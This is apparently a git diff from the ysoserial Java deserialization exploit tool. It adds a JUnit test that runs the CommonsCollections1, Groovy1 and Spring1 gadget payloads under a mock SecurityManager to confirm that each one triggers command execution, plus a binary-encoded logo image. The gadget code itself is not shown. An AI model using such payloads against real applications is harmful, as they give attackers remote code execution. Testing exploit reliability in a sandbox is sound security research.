b/src/test/java/ysoserial/Throwables.java @@ -0,0 +1,8 @@ +package ysoserial; + +public class Throwables { + public static Throwable getInnermostCause(final Throwable t) { + final Throwable cause = t.getCause(); + return cause == null ? t : getInnermostCause(cause); + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java new file mode 100644 index 0000000..6de29d6 --- /dev/null +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -0,0 +1,90 @@ +package ysoserial.payloads; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +import java.io.FilePermission; + +import org.junit.Assert; +import org.junit.Rule; +import org.junit.Test; +import org.junit.contrib.java.lang.system.ProvideSecurityManager; +import org.junit.experimental.theories.DataPoints; +import org.junit.experimental.theories.Theories; +import org.junit.experimental.theories.Theory; +import org.junit.runner.RunWith; + +import ysoserial.ExecSerializable; +import ysoserial.MockPayload; +import ysoserial.MockSecurityManager; +import ysoserial.Throwables; +import ysoserial.payloads.CommonsCollections1; +import ysoserial.payloads.Groovy1; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.Spring1; +import ysoserial.payloads.util.Serializables; + +/* + * tests each of the parameterize Payload classes by using a mock SecurityManager that throws + * a special exception when an exec() attempt is made for more reliable detection; self-tests + * the harness for trivial pass and failure cases + */ +@SuppressWarnings({"restriction","unused"}) +@RunWith(Theories.class) +public class PayloadsTest { + private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); + + @SuppressWarnings("serial") + private static class ExecException extends RuntimeException {} + private final MockSecurityManager msm = new MockSecurityManager(){ + public void checkExec(final String cmd) { + super.checkExec(cmd); + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(); + }; + }; + + @Rule + public final ProvideSecurityManager psm = new ProvideSecurityManager(msm); + + @DataPoints + public static ObjectPayload[] payloads() { + return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() }; + } + + @Theory + public void testPayload(final ObjectPayload payload) throws Exception { + final Object f = payload.getObject("hostname"); + final byte[] serialized = Serializables.serialize(f); + + // special case for using TemplatesImpl gadgets with SecurityManager + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + try { + final Object obj = Serializables.deserialize(serialized); + Assert.fail(ASSERT_MESSAGE); // should never get here + } catch (Exception e) { + // hopefully everything will reliably nest our ExecException + Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class); + } + + // confirm sm saw the check for file execution + Assert.assertTrue(msm.getChecks().contains(new FilePermission("<>", "execute"))); + } + + // make sure test harness fails properly + @Test + public void testHarnessFail() throws Exception { + try { + testPayload(new MockPayload(1)); + Assert.fail("should have failed"); + } catch (AssertionError e) { + Assert.assertEquals(ASSERT_MESSAGE, e.getMessage()); + } + } + + // make sure test harness passes properly + @Test + public void testHarnessPass() throws Exception { + testPayload(new MockPayload(new ExecSerializable())); + } +} diff --git a/ysoserial.png b/ysoserial.png new file mode 100644 index 0000000000000000000000000000000000000000..e707c8775e709ea3e79d15201f6c51931164f8f4 GIT binary patch literal 43499 zcmY(qcQ{+`A3vN#kPw8}6tVY=S&GCa_8zS*R9mYpsw6~gV$a&Mw6&_G!`_#`W_?`Zq?{i(x^M{cmuIrqf`+mRXNwKyxW@6xF0D(YErX~iqAP`s<`28;o0(`$@ zcL5Ci0EgQeV?p<4_;-L8&;WhBJ_yv7#dz#R3%rJhn7D+4K+J>xzQCi`8hwF-yb*@Z z5q8)7BW`+y`GKsx0I6-B6KNl~+tpfxo9~~!F61lg$Nf7tUa6 zX63XQGBRp|rAc~=)Hst3+1s*hWCw&(m&PPHy;u!{ec97mlZDlkpA!wa4Q-_J7g$A~ zl}gX4+_99%z|#?Eb4HAYBQ@w3l?5hpYj1w^!f|FDUFprD|< zyu7Qc>-wixtDk&>L(-$V+X+riP7B<`%*;$OZ)P}bWhDEEO8)xg3!e9c#QW~uJ5!NN zFTQjYgYfY1d!ySHV`(!pGvxhwL}>ykq}g#?<|l$l)`3EmP8=Jx$dt6JJkIu>N~IRD z!s}=;(0b;#BSU&pYY>?22mdC-7@a>D7OAno1M$}wto;tp^+nvNa{FFl>M86OC_O*B z!0R`G3?y5GDs!P1%!1}ba3H*0O01zJkq6G3c$Gka{l$xcthVVt+p5sZ1~n9+ zrU{fLLW_2iDBR9x3l%Qwbw^cx4@y9*wmBl6sTpgwZ~Pd-^LV|f;;!aF&WmIrFrl-p z&E^hfRS5^`?DT_`>;$p-$pwVlBy>j%(1kZD;6(!#H&PFq z=P;BL(BfL!xeP^j@#Q!Pq_I;vYzwteN8sz7Di z?ZnD1P{SN%CL z8;lyoi5*2IEM*aFCYmWoQ)^2fkwCm1)R>dothi*DNWmisGtPy5iCL5!B-Ji zyn1#sq#B_tjQVrq?53U`992UTG;Hz8``rT!;37sAglqP@RFTb&0{4lC!=S0`2AB)C zDANN1HfnI6xhb_3e_tsMUW7IVQC8TeWiw%&zSSv=$@E`yZxW2Q#-Im22LvXj@1)j? zvZOQWtgTC~@_YHSlX3z()^B8%K(H(Yg{B`Vk~NKb*M!M9f>;gIO@=-y6)7=MO8hyeHvzUE zRh&m;J1i6>hB8H)({#Tl3MdO`TChrZfvUw&j9xe!Z=)t>(9Jbo_Pt_uFiRuAnB&hOL7Whe-ir+0AKZr+N3-69i~_ib?|GRZ7~C0s*q9VEFMf#*8_r(KW){Se zIkkZFg!3@hDjKWK>q~>R?p+L1^jG%}quy*2PUVJNS}x;xAS??^`?TrC+B8FF16Dqs z;s1LeeYysAUDxM!pK-_qw@)g+=@KrCWtcmTk=pgyDt){3bl7~()}@|lBIhZxggIC>vT)Qd9I{- zdRn19ho3SdZX)-aRBrY1LC)4CO(l*qPW^QVWAFdSL8GqlAnHewtyivU%&}PTdvKsr zQ+$&J#?v7dujL$%6Li6Yh61t&3?*^&rQzLkG0K$i&8l&YG$YnIhEQ z4bW9R0{QK{G+a}1v2r&Fe4TgDdm7&VnH`G2JGs z3Vt^VDEw2$>;t@2W~%HbVY8YDiW+ATS~ME#ch4yKEu`#qdskx;Izu{sWZd9C*)cIz zJ>|OEgMb1Gk?Vtke9kp-#$7AklK}K0A<}uWTF~2vvr2%zKmCCX7cW&Ok}ANKCW4O{ z@*fnSJdE&0*a>yY&0FQBJf^$6Aw3A7U0{BjFX*}0D~*`Blg#g-_|dNeuDH#sH3>_VCubN+)hV;<2E1716BL(|&C zCOu%p<|~;iGNPS_4Ay;wGOKfgi3P=Bw5{}aHM>${;TSMK}C3*$ZMC7*(mT?)KnhrpJ37Q82E$W@G?NWl)|B#iMZ zR(V0TG@GtUWbCr}#UkDk^K$($=nq9ii-{e2@gizj8H(kjjZa>Nkt$PsE9*1sLBZ`< z+|~9Zb{YmKbY@j@BUH5qZKv<_*+QJV8U}CFo{}{eC1eax#9fu>Pg0Rri!_uM9kFOu zPM=PQfQo8XjFgBhdGDJKZvC5z-0I3Tp36wD?zBz?i5-Midy?)w}{Q20S5 z3!;D%^p4vvIhSJ3@Qk;fRu30`fzwosI6l^IxSwN7PKjirMKU%_k*VTyG*?I;d{Y+* zc&=^Z$D0#}2XmcuOkOP{IF!J#EIdF&r&GEJ^3V}wr>}KM;^u=>?CL6Mt+2tz1i6w( zx(0BIi2PpiqE*-`Bc4uHw6`jy(;JR4V8@V!Az7Og4pBt7=7g{PdZYN|Mi7zGsa^S@ z#m|A0#?~X60Fzu5s?|X$aa)4;h!tq=7FcmSMyn3aIR7Hd>l7R)#yj5Zcu!hJ=KR_5 zkHCSrY1P*)?%lSyF<%ck0~Be(+_W5(N-ce|CjCzsWc3%%$HM%l#P*3+h4&2Qs zfSN&SdD7-glk~to$(C~ZX7e@dg~hfPafEma*#VDT=mcB{-C`a;u{vd_6Wmr-DYZ&- z#cQk#p?f)nP8KWydFgASlmm6NLD9U-qYn#ia{<|`_OybdK%U7M_?4=Zmv?oDW=o0c zRF+;-PEnL<*jlyWPTq_O(Nj`Fp7@ZPwms42ASuIT8?pa5nW1l%K79Y9`xf);8UL}2aPou>H(*cYdW5F|F8l5$1x`q zYivBq{mSSMn63@Rl_7WeRm=F_?2)UTEn7P2Rc#miZTawc{PdeA^&i2~Pv3ti@o!$k zE%#ji#4yi!b3@K)^VQK!^!|G_e$}}UoetJd$LHprUt8mrGO1D=rRbFl`#Q)?WmjTX zE)ebr${tn@viwd|&}66tU2f}KtE~%c?@4sL8wB$k3asqB+uV%yWrUJ`i(F+mE|I4W zMO{uO=Q1a=(HLv$2he3KWIfQpn(G*?lI&^{`lsws{v{=TyT#AcYU@df18%#nPDeuI zoodqhe_?b-UNmY$>~@vYx_3F4!oJ2+q|yB)d7t_cLAyI|K;tw7<+O)WBu+CsK8RXn zy%eYS%Cirw;ME?5yLHC&m`8VR6V|1$W!MR9CHSr<;x8B@)hHp6s&r=vR|Zn}7&`C6 z9N{Trnhp_C@@t;f=(r1=INKN|Aedsbi63^{%?oewZ6#GD=uOMAh~|x zP-FgKgFJnh9ibhATNB-)nwp_|N8+w?8JDo-b6M!e-=ObEMA3H0zQ$jGtnzP%7mM(c zLd=qzNRmflcF(=#zB4Xm`fBi0!&y3G1`NoGL0_@S_2IQB|IE2CWqcUxc3V{*3&~L$ z3t`~v2o9vwYNO^0*oNiZnFwa=(*2*se$vd(Dg_yM$~l_y*3fPWNdzKNv<o2(p8rZD3VzcQ zn$FU2mWBZnilTByM5`4U91&zg=!V?0W((=EPt?0C=ZnQ5n9L{UI8{Bg{#rO}jt8kr zfVwJc39stl`u;c*rh2N^-k1@E|1wC~89gG*F5ZGEo(zkqHhtXqlH<-=?Mil;2xp?4 z16J~iqRWgy@>CKaH>5IU8Ne+28@MIsL;)U+F3;f%ck+^d18e%|PX_6k4avz+=m?Fs zkiR)E_?qiLKPMe%W1vd0dhQ^ZVyvV{rH`2S+ZtFwsWdiCxci4$fMQQ>))w-gEx z^RKK?cjc5}U>v*&J@FNf?M{yqA!}8frFW(yozK)GWO?{ z;fE-ojsa@1Ts)ILnFAaKxiV%)F3^GE&dcj;Ph=*JhC-zwF-g_ZCXvnx?m3O6{!)}j zjMMa67saB(!erAKJE$zRiUU_*ssk>Pfm$eD3OimD2@^Gm(|Yp_lb4`vIObg?f><5U zBnqA%TuPVQdsvp!sjh?6{m;dS$u=Z8oyQI7SMX88`Rmn*zLx|6$8Y`_+J+j=a)}Z> z{Dd?!-j5*dnUUg~TyG5Yun&6a_Z0mzniLh8m8AMq@lbhiOpVZ)r_$t*_*Uq8AU>Q_9bszV&C%&GoNfI#zuNr*szeuTg*Q64{%91l;qIY7FQRbGMm@u0w zaVNrdft&xjKt@Iepm{Y9*K-TyJxUM=W_CV8-dCJ(!>is5RjuY9!do3jNWpog8;gFP z2K$h-5DkIm-z*2Y@27c!TQpLS`x|R77kMmhBkzw)HEG}Zg&>Oa8d4ew0e`hq+ z-)_@)@v(ZS;$=IHu5;OUmaxGFZc*$-f+yG_2^5|V@8Q&9l>pbwi{aC%j9l_$PtDM~ zMQv%_<-_p#+rF!SIdw<<+Qo&vYt1|j1qI<~3muZle?6bgymPOctc*o4rcV{>H9@(V zN|o*KKkn8S@e?JZi0C5{`M(q29|FNSEG)(-<{~Wr20aYUZY>ZCEAkpdmP%?057h`P zX_O%ATjh;aSF5DNjOodxsLFTCCvgx{&*XPh*s^t_QKlRQ@6Q|zQ#71^fz(-*rF0ft zEh-H`%AfNt5*Cd#NL)@3hbvMZ+g^hw(O*^^%F*J9Z-w!Q*%jA)CNq(O2Elb5j1?qEwLqI9nNJo`J47#k;jXcqRZAm_y@P;N+5x@GN+h6Jn%PAYSI} z1COT4I$egf@zP=jg~=#2xUuO$mDD|MzaC3vOjW)F<~yRAnj-0v!QV$MZUSJ=FGR$%nKGuZ8Sk8yfiTXqgh?-zk2R~lVv_ES7%C9 zQARf}F_QXH%y(lVKaESF{>K2Lf<0^bjpaaB*1lP3Sq2ph#Po6^lOOiZtnOLNOdWFR z*4xlgIoD3Ybct$_(8FOGYnEBSAmJX!HL@m8vGJYigIjQMwQp>+O&s0dt+$K{Sy(or zgEy(vR_gezBB_VjQ%GKA14(^uyV~*Mk(wPOh(!doYM~#u0SYpAu;ZRf(arbu&MoI} z^Jp@axE$z6$R>_^9d`cMyCV9e%1GL_H8hLz=?hl5C_F0=%I!}(nrQJ&ggMPiWz%{fFJWU^V*+9Q0` zm-DOI$H0Ly9~SCEVk`%nn1S6E?vK)buGNLZKOeKQpMK0dZ<{fD;qPZa7;H&sl3n}L zp)vFXZy~NWUI_bYi%W;l-1=_w14oHIqa6j$mSdVdhs*&-Z7w#j$T8B>q~j zntIS7|Ib=!opdudkk{s1mNTq6Az(ndJt8Ry9XM$qT9a=}cG(+yCL6RU=Y)ZJ(p2&3 zJIjp)XkjZ=(-H|m!tx8QW;b7SMA#}P_i;whyb^)5QX}YE!EcixCamOowOS0|4zkJIf$aU`qG7CJ$NfY{A|A4nMAX;BXDX-O1w;aN zQ)!exd`5HYcvHQ%s&Pj9hs897Szba(wuKSqm~r}M|d%I z=n)v%xa0Njq*v!ZO)_^enIY-dOT|ZE!|i25Sn)+RDFWoV@i2Zd!Bx!^CQ1+gIaF(H zb)%?&ldSvWkp1=XZ_odJ1wcFHQqFtf5tL}-6-l(oV=^y);$E<#wZ~^OduD@$e3lmr zMGdbWbD#c)%Fa+$qmim3qz#)5h+L)-X6}&<|mr&TH8sE|F`Ww_obKkY9a&#stKqarcA9A+h-x zNd$4w49~Em`%6gU7njDbs`I)>ZRCrW)pnvpoZGw;V>b=|tmj&7&Q>TK?G3VU^;ds; z`or>%(e~#z9p+|cLR809uPlZ_S(p8tj-dtrpYif}Yd4U} z(Ogyr(gK|PkOMtt{!-w4CQM7!ye$4`CmX6BwGJy3kj023UJ)LQ=NOc8xS*sO@-V9O znKM)`U`e*AOrd?;=aU(1!zMYv_2?|VHyk(XS%BXvB+= z8UNtczrmEI?9=^czm^#lp6=ay^uF5krN>&E|8&Wv)BVD@v)^&O|6P6Z?#6#tl1nr~ z*A!yEGfu}}_?WH&kod>9zCFA7^=-HA+2L$<>!kdXy!`xUdjpI~=WZ-*6kd`ip*dxp z^{%vHC^d*>Z{D9)ER)X;H%m>P94wflzRHF`f=vfYQ;=_mBi6`rl|4PYNiUAB8G-h> zgKHtdl2#{^=m=~L@i;3aI$hVrhwRC*@uz70k{_W)a2!lTp@9}hxDgNlt;dD39zwb&pJx1$-1Cbb^McV3c3CC_xoGT zKPnTL*E*x7lt%SF-28BxoozY+zHY-V&99D{U-J|CIf|s ze*6OCLhKjDda^Ce84-nn$s4I@(!)s>Bu{wsoIA<-c2J%;4&=Hx=$XMjM4QI`s`l~; z(J_%7?P(~>kpW+Vk;040eX{*3H@L$eQZ;tA#;ggGts4?6K{8lKRg0ZL2y>22x}|+x z5_%|AFusLIq_>0>P>jTsD%J1?`YN|8lYX$HRaA=|95mwzuS5c=FqUW^-LQF@dCAfJ z0~tf-BJna;2LWF#Jzb+f<#!BhbQA-h^rPvVG==9&8k(1+K7xNHNEQGNciGSj1#2IE z4yU{}l~pnvwPI|wo3T)rzO#-J3DE6wqe$Mp{p*eKlzT~#;Njl*h#vM^M@z*MPy3WJk`&9lUS~yAL~eXGt86d@*c+-XPC-Y2kj5m!DXsnAd*0x)A6v48loZ7n2o0=E2YDFyb~MGfz}eL5GVto zo0<00xd-@h?8dWeARG`y=v4Q6c1ac+y4B6YX^b6TP$zOy%IKWAT+2WZRc@@6<9v^X zG1|u-Cq6-KfWcdf$+G-lXRFSxD=y3u(IOtM?QACpm6B;~YRz}uS%=*-3H4}0W=7U+ z$9)osl3^)60KZb=e&daw?#YhT&n&*p>C&5DySH`&ZWhY9-56puwl=@^^gG=&u&&}S zPu~9hu5h4o{O2mL6B{0!80KD!{ZU$`Qg!$i_MgD5&ut;ASb62{%DNwIqXNLT{CzR@ zaO2L+_r)&B)u_+CXQy`$xh}=9O6=`q?+@PCj0IAzGEJ$OH2EIFe^(wo{N_iqd6gf# zINoe##)OU;muR5pn~aMrK$$2Be!9_BYG8f#hwAGgK-#t3UwgK-5x zRX@PNEn->$W5HnZcrbK3utTx`tL~&lWqTe91Lb}=CamdRC}m*QH8*5Y$sV6!b0{&T zWP~q4F30DtVk9b`zJave_~JTW-zvW5K)5$NU+*b$q?k%+VXTTJifb_CThmQ@=|S+p zuaP>uX5zj|#~H=K4E=!4Y*NrTr<#n~!8W$U($NIoTj!RcI{Q-cPyCrW{G8Px6F#+$ zb{T&zCF&fonYm5U;Q z=_-vGRlVw87Oix3zCQja|NM`)>bLH#@+)0$#Gg*8a~H^a1kGyqdCK1y&lh^uUqYPR>JhuxY%Cd>0@lgN)q0w0@~hQu0pEKt|GL_ z6UMahmW@b1Uwx&Z#7Ko!al#;)7>${jhw_$|AU0w;Z?C0DMBs|6fVtFn(VJ&RUNpJE?TG=4`LC8ee^1X*Fq`-SJ~dcv?BFEDELA_j;O?BXVcXct^9=gXEH0_5wt z#WXI{)O&TYD-vQIq7@=@&x}=gC?Sr_MI3kg4Penkvf?{fs9EJJhq&#svMB^OeESQv zYgANoOb%;64XI5m|CZe}{Q!y&cttY;{pmbh?B~=B4Kk>8mx(mG53>BOjms?rqp*);X99sJLBVb8BC|EM|Y) zkvuo0wLd1J6!7cwn_FKVzIJf(xc=JXrj5zjuWM(&o_)K04Zz68mX=!OoA09nq%))< zsSm|1%O3yz`Xv17Qvh6muLXajkyV zTkPw=d(yj{F5OnW9C|9+S;VqOQ!XVV^A{kwQOki1J0ywwedff+bDfV{C5>NsC#S$j zeNGcLF|_^e1>su5O1GdV$gm5>>n6A*WSX3_+}5N#x2Rww&q-hPHi*w1iQ1L&h$ygX|qq&5C(KK?? z-CgRWXy&d-A1g9CDE%Q}T+$AiXgY@slfl=~;-iN0vM&o=jN0J%JBm!!+HI^6;;yz7 zqLUdAGcSnQI{#tS`}&hFUAI1Fs9S2RLVq%{@0lw+%flR}fq^^-4W*3&{(_YSGBQ9u zKK=R1&A}hwHgd){NF9J?0wS{ny13(yf`c8xJ*Hm4^NU|NWE@wFb{TjDFUFnx1a#-7 zs0Aulsm#WYPKWr;>*!#odLx`D_`*O|z#q;}s~@}KRZaBxgHnUCF^UedtOh(erw{c^ zWw-Oz7s}}7&z_YupG!d}Cw3u|Jn#Ds%%%z}l9yO7Q+x~6>RVDqdw=A@0yTxlCAlBhPM~QJ&pO z`?~>uQVi$D@!{cCMH;>K$-!dJUalc~)eO1p)~wbiS=in0^`%#-J4?;ULpOZ9iBGo7s*s!m(48O^-lrP7dcEcnO2Rxf$ zp$Zq{sXu7zoEG-1y^<-p-4kjY-FImdt9A;P8R*G<5oxq~S2C1sF0=Y^7Y$PbOc!ty zGB-6RG`ADJAQ4LDnsn9{v?H=F^w@*_)3}AU!DcKSjFsBj$aJ#{tu7{ZNBX!ibK4wr zgrXZJ=sY{#5xi~H;D~V}q}t6H!O`kLJ%ZzgS6PK&Vny|?g{vw}myzpnC(wTfo*cxPyUD#$hUz$PhT=)agkmkjho;$Mnuqgwc`v0plycJ%L z_ln@!a5qdJPlO7_7&r7elV;!GB>VjGuR5_qF5K>~z>Gj5xz9v1GE$XNu3!8EjWAhG zs6m!zSNGM8a&{YzCEmJng9zEQPtf;oteyku6Vy)U{BI>c-Q7GDC^O4z}5R_ z7~r=Plaq0O|NC&C@3@pz_vFA%2P+G$0C3?YFsT7H`xzKDM@a)Ty^rcc_S){v$6XmO zVh3R(WWs7~77d=LYiu_D_$I*aUH^sR+%MaIbvzRS%S+1rRRqyx+1%AGtdV5pth(x( zMrrkLi2G!AV*gQ34ZdoEdfnJm)!+4l@>wLXX!w$gOOupV5PK2wXz;hatD9ScRmFXi z)>5I6!~G5O0@_X0Z$86#oT!Fft|~)qFZf z6KZy17(~T2#0*quQSEIzuB=ra}vB#ktGrO zn$gyGOBf}w7Tbg?b!%slgKGyw2A7vqB(CxCof$L8yEYhaaj!; z-YZYKlt7-G9(~F+;;#rD;dy~>P`K@}7T9p-2B7}VMQ>LDGJ4=`cQ{~Kob{gmd~o38 z;9%3URTe&T@zxi^;rs60IS-wW-iFWm9sK(58UXVjZOUH;RD z+l_#2eSlIfQ{Y8=4`yI?8t6-qZp=)K1&acrLiDQ6PWz)!Kp?UXHBwP1MSQ2_3yfch zw(PY@8Vk`Ut%kUxF+E*3X~c5rI*!{p4ZYEt>B?J@GB)q}f*ZRH^ae563AX~Vpr;1C z*v(D^pqafvDlP~bD#U9T?p!`oyK1E`jn&Fm_XSO`3gn}BL-Lr`_+dtdl?mjsun8%P zxQ%=#XWpCE8JcHnB+DlwPc};~YuM>)161h+!Z7mP_1E+4G%pQlV}HE~$W#S2jFw(| zt{FI_#L@WMJ{CY`JJ&oO%))_rVA3eRmnzUH?8k`!Kymg4HPf7kWj)iiqM z3x7N*8WNu@l4KmRdvzU?O94F8#s9tz6@$y^H& z`MP03ctI9?^ifBci3J)}2^*+HfW~T3EHyL?OT}K!t>gkVNygj}XCc{pRp{o#R+tix zPN>kGutY7*T`gGiPLjT%Fr6o5tXX(ZO}of+Y~2k{9^rVLCxFRb#yq@VhTvl>8k>`x zCBt%Db0Fu87*p=X_M4ffVjFpFupM(*BGt&Wu=EArD(iZ2h%~1F+sVJFkEp$HXUe0K zU=tYF^!^-*`{g&J@`S0;gV6Ai8W12DGLr;jm%=rZl0i{SZ2OZpT150E+=bbGjLlZYUAAzNbf|?ntsh!3NNs5Yw77YfDxNu0>!* z7{@ljh{10=VZa-tO+t0^)t7S2_Pvy;HpiD?vd~ila13oJrLuUKwPMBV)qqioH^$zy zOT~i|9Rf8RgFr7TS>LPSH)=;f@rh-sR7*R$8tQbszQYjv(S}A-Jd~+8wSY&lqmvL^ zu614dp)slInfxxbrcheba4#io(nM}_+w%OEp<;$Wd&Z`g4^45~RY~@_p!~O@v1WL^E==@>MzPomI}IdXMh`dkXo`qGg?hPzf(sI-luJBpHTCiW zg>&sPQe{q0KAb(HijJ70`JT)+KI#=ev%2<1Ht6IpN9xKpk=aDA@}1(_ zAtkQ?@;}O-t};`}d?|7@vF%+t1GI{NU`s>>`)-wk_eggZ?GfByvx^iJV?tF87QMOS zPMNbp0b&R~Z(Vv;%vSlrYItnO%C?~kYLVwAn~-2Lo=N8jsT)5#VU7jE}l z-3XQcXCI%}(sGV>_vMsUvdIE#xPY%PH9I}H*hyf8mdz2Gxjys(m6*@-Fukoo=JOW* zSe4o>8_$t+o^9D9fHFLkDDa%s`JI;r8Ug|w3!&;p&SHzD&&Mg^gyvY1RFIi{=7-uG z;?CyJ9VzO)|F1v*rU5)W)J6$Gh z;*>F_jpG6KUrsgSY~Vhoc;z_uF)@SjDZqd#Gmh3 zaX?JU_3h#7i|iaPA!kD=sI&dTUc$Xk4|-35(MMD~EcCd+Gx6z>8TXp9 z3!DlE;y47D1Mh(eaP!@DuGOK8NDjT$cdez?D%-?x!kXB0wW-8;M*jsG-I)e>eks`1%N!CSIVE8=v8rjjMnx!ngS}q(M6yj?L zUxo3RD;kzzSkssn7zSC#WR1`;_0>Pq*J1~&0nCUzkaGjf0EI1e@7r5Y{I5MftT#-A?fiv+S7U(BM+i`ecXUs`XO&5JD@T298@1Fu ziI|`;Ih;kV0jjWpS#<-r&jzSxH;;hyUg=p&3s4$A;!qWFFgG`Ea+v)jPt<&uQvc_t zpIyJ&EYxz;$Ey!0lko={3Fn)eT`OwlCLx?8v`7&H8ApqE;iWi z^OrSbtKG81;Ok3q9@hfx%!vcHfQ8)Ma&q!5&T8J#(NP#R+E#Wz&b?Q-x9wysVO4Iy zQKj7+a=UrLH>qp!{LkPDM0d+eE~Ol!=(?{!2;*=3JAs+KYHIa!^x;M!%D%wp$_<9$ zi$bXd^?j*|2(=Yu{XkOT9KVpez#v-j@wkgKtFknjSeHTz)zPpsHMLvyXZJjh!>|$z zlQBxkcKE&?ZisGJk)-O=psPSftW_UEGMFw_p&w<-cDvf0XsPxlCx=a*XG~t+2q0tU zwYtBy=7A79jQb!daky@=2<3PST>w#cqIe#n7nbikx0pDb`z5L zoo(sYD>qBH2dVy5>Uay<7w`aq`))wKshR(Z)tH~;%y#?HyBi;+Lnrd2%4!DUEQTU1 zDeP1E0Gj1?EY6(&cKqbS3G+`N3Ul?IO0r1Jy*_WixT;z}A%%0jE?%1C$?0|<(FQs) zdv-tE=fZAJx|m-J<9i%*N6`yXI5F0JcKWx9MROhLAXWYRd&adTtEgP7;H~hjnM9-9 zliwdIP9RtM2ND^Jv5nkVW=lODMqQGz4nf;UmwEKsXS2D8yKt6{^##Q(=yyFKcODVX z3s}VpOHSKOB@di@=bN~wV~P)}C_#o=7ub^~wBy17#<&``i0&k7nd)BH~OAlCA#?k4Gk47I;TBS>{9H z;*2D{TZk1&AwM^r$O^s3`#{#++z`cm1JK{W&wjq*<>dtoy^F1$`U`u%n_e|Ap8?*> zRlq&`C-eY#8U^^l`JHo`TIbLIdpJ&IR{O`fv$uXgk8imr~v3sq`Q&?7u)BzU-ZrpOOj+ug}G`66S?(v0Mdm{iC0%M97b=+1E0%b0&(z z)Jk!3(biOP&EvbMhxmYEDvcK32}<0u``nvL=e_S?XZi>iD8KLjG!tTI*}t^p@G4xZF|Ln*FID|*2+h{Bjv1}AD}I1aa&|m> zcKq;u(XP40KQ+(g_6%VCCPKOEI5Qa2KZA$eU+YHb&~<0I2hv+bjmiSB zS|u(TQ(BCdA(rQ=Q55OaAXO~qSM*1~7CoB0bUMIF(_m4o46slj_VIXt66Y6z{&)3{ z)~cz*9kO0ojk;LaUfQK&Y;R)bYKsXmgb_bAq*6EgILBu>r0n5c z%*=<6h^M!d!04HpjsqH7ig!~aOPdW6`>b~#z+UU>*tyj?91F*HfNp0`Hvrl_EA~Ld zw#>Hk^(zo-y9)a8ujR|33`2Tu5n;tp-eukW{j;zL4dAB!49_%hx%Qtfpt)AB zC1k-g$mVSFnb!H@<@0HrQ57LbKbMS8t;`V1n8v4mFkbUOW%4MYC(y;YOR@sqxdtPh zIiyap;lFfiooV^bDk>fi7_P}xcy6Y0$h?5}LcL`LsLmz%`T3D_ zx^oHTM}Y=+Z4?4l=}%%MU3Vsz=cqN&8XO(NpfD~?U=d5dchtyEaa?1U^#%Fm1%V(= z=EWqv5(GW6oe|qVz-M;hDc3|2{yWEjM;4?1AyR1c!oiy9@yK=X{S}D*heSiEUAL@5 z&_L!#o^!zpbe|)BIZT2``^3A+n*cjEK-sKk1%wK5da1UbPkJa3FA$tJ4l)N9tjS*w z%L@-t&0auKnmdauA&Q11p^GMz`Xq7B9_0!L>^FF~VY0?LBr$dP@!0%6zYSMzCmYr! zJulJm_Fd&-LZCi_8L)O)lY`t)DvJ>eBw<={`yZ4@P{MPsyVhe@839B=3V{@Ol=^BJRhJ|!midq zP0xtg#VNm5q2bzGpV3m%g$4qG_Ec0PDD(H$%JB8Mx@I-T<5Dd9d(6Tx*4X z9^^Jq0`HeD5JWB;Bhpj#+VeSE?ZKj;t&lXKLeZFLt_-tCzIT;b7mf&`)(9vws%tr@ z+2h8W;S1{@p*O7NeaC+Hp55L+tb~(j&)ERo&JO;ct4V^w;Mbvndb#FDdlQMlUcyV-T7`XKw^De`n^7tbHj!CUkL_`-^9Iaz)^Ih#0NQF`q*3D`1FiR| z(t5X&-4KPO95zLA-Y{5re}Lq@0E7e0%}g{5gTG4pEAQb|)gp=-d&sUV>}h*xbX`IJ z&8y!IVe0LFPNUD=1pz0HN}0b71%P;Ey~6qv34q`>O|LR}K{fgR`Rt{aSlhXFajhlp zYgu1=%B*GwF9x$i?z?@KH(|wr6z;h_x@r+~N;?REv3ug{fVgAOzu4%%;Es&#DjQqd z_K?+q+SL!|JB&qYMu0YKOdR;bDQCQFr@{cYDqt7{OcmJ_ejERW^!yT0Y0hlc%e7JAVNrb`c9A z0iD~ftjQO<4HdC>Z*8v*9&Jn(&X%grP8s|GlHYn4Xi*|i-)*+p28ztPetG=X@FP5T zpKQ}zdOu(*%i^W~>eE9P;G}1NzxDQNfqU9I%ZPdr&RxO98mhkkWq^mT_Uwq?QUtZS zE|(;cD03gQ(R@*#c9E_Z@+PW!|K&@g1tKoQURS;;D0c%Qa0}7ntxAemMy{FMwD`p|mPD^IF zU4!Lt26XN3hqDVEts8NtvuFRFTGy{>=wcZ%oBcm5on=&1Z5xGYh8{WvhVE`fx^w7m z>5iA~p`}4ux}`(98>A6XkZzQa&hNO^_n);`a~RHZ-+NzsKmF&xj3Nr`C|krPAOBSZ zXsenP2x%wVvZ%~(pz*FsIl6Kn)h>fg7J^3D^2(CXa4z}ZP{(U$B8U56#u2d(92GIM zYmg#P21a0JNk2SDpg!A@`T%05!W+EpQL&c>6GIHCl)pd73bk?P>rB=C_p@xAyRUU7 z6ii7=s*Pd~08M7>o{}%r13`u+TgEHdqwO`&l!vfowJPfccob1$l8R!))?7w+dLm$Ai%mTWo0*|CB299;gh!L)26=x!_;! z{~nkE*dm{r$PryU`hN`4Kd|4P!d>*EQc)|`-MO;t#D?&QJ7pu~MFXb@60C`&z$}sj z3PoHK$@(nD+o=7uU-WhSxvF{K9qf!JrcC&0$UOzb(^5X;ux$NQe&ClZSpKd@z@Ov+ z*hUe1XS`%dMOd?&Y<-QSh<=vxI}woNA-i)3*@eP<~ES|VM@My z0Lcm1EWy66$@E)Ir`g?=ML0tI7;@ssSoY$TEPLDw3}_{d&z_K%Q2eZa>b1x$?Wkmd z7$dhnyt)E00*mBduBofRNDBHW`@wG)N0LJ4HSPx2;<(58o&{oao&l7O${kY-vqlaT zsYkhe5LXc401LW^QUQt*VqWUe(0Fdd8eec$Uk6k1*QwJQDe;zK;U+Lb;(y?wMk3s= 